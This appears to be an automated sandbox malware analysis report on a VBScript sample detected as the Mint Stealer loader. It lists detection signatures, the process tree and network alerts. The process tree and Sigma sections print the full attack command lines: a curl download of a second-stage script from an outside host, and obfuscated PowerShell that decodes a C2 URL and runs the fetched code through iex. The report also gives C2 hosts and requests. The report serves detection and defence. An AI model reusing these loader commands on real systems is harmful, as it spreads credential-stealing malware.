Edit tour

Windows Analysis Report
676556be12ac3.vbs

Overview

General Information

Sample name:	676556be12ac3.vbs
Analysis ID:	1578783
MD5:	288168092dc1116083d7dea05fb97946
SHA1:	61d44c8f0d2ee68f6350f921f442c91ddad03f8d
SHA256:	9103d31fceae9c886164ed174ab66282406779964543edaeae14a89ddc6b2821
Tags:	vbsuser-cdcd
Infos:

Detection

Mint Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected Mint Stealer

AI detected suspicious sample

Creates processes via WMI

Obfuscated command line found

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Suspicious execution chain found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Script Initiated Connection

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7516 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7564 cmdline: curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 7636 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7704 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7900 cmdline: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7732 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7828 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7932 cmdline: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\jfwdec.js MD5: A47CBE969EA935BDD3AB568BB126BC80)

conhost.exe (PID: 8012 cmdline: conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm) MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8032 cmdline: powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8080 cmdline: conhost --headless powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq) MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8100 cmdline: powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq) MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security
Process Memory Space: powershell.exe PID: 8032	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security
Process Memory Space: powershell.exe PID: 8100	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 78.138.9.153, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7704, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7636, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ProcessId: 7704, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js, CommandLine: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js, ProcessId: 7900, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7704, TargetFilename: C:\Users\user\AppData\Local\Temp\ykgnts.js

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 78.138.9.153, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7704, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine|base64offset|contains: _, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm), CommandLine: powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm), ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 8012, ParentProcessName: conhost.exe, ProcessCommandLine: powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm), ProcessId: 8032, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Mints.Loader CnC Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T12:48:34.940973+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49737	206.188.197.242	80	TCP
2024-12-20T12:48:34.942793+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49738	206.188.197.242	80	TCP
2024-12-20T12:48:56.956555+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49745	206.188.197.242	80	TCP
2024-12-20T12:48:56.972146+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49746	206.188.197.242	80	TCP

ET MALWARE TA582 CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T12:48:34.940973+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49737	206.188.197.242	80	TCP
2024-12-20T12:48:34.942793+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49738	206.188.197.242	80	TCP
2024-12-20T12:48:56.956555+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49745	206.188.197.242	80	TCP
2024-12-20T12:48:56.972146+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49746	206.188.197.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49734 version: TLS 1.2

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000D.00000002.2324362955.00000176CFD64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbat source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A757000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2326672030.0000010E72DB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb source: powershell.exe, 0000000D.00000002.2322203180.00000176CFCD8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A757000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 0000000D.00000002.2327920282.00000176CFF02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbd19f source: powershell.exe, 0000000D.00000002.2324362955.00000176CFD64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbb source: powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2322943309.00000176CFD0E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb[%[ source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72D90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdb source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 0000000F.00000002.2263494305.0000010E5A6A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ows\dll\System.Core.pdb source: powershell.exe, 0000000D.00000002.2322734003.00000176CFCEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbH source: powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\curl.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49737 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49737 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49745 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49746 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49746 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49745 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49738 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49738 -> 206.188.197.242:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 78.138.9.153 443

Source: Joe Sandbox View	ASN Name: SKYVISIONGB SKYVISIONGB
Source: Joe Sandbox View	ASN Name: DEFENSE-NETUS DEFENSE-NETUS

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/ykgnts.txt HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/jfwdec.txt HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /676556be12355/676556be12aca.vbs HTTP/1.1Host: file-download.bytez.cloudUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/ykgnts.txt HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
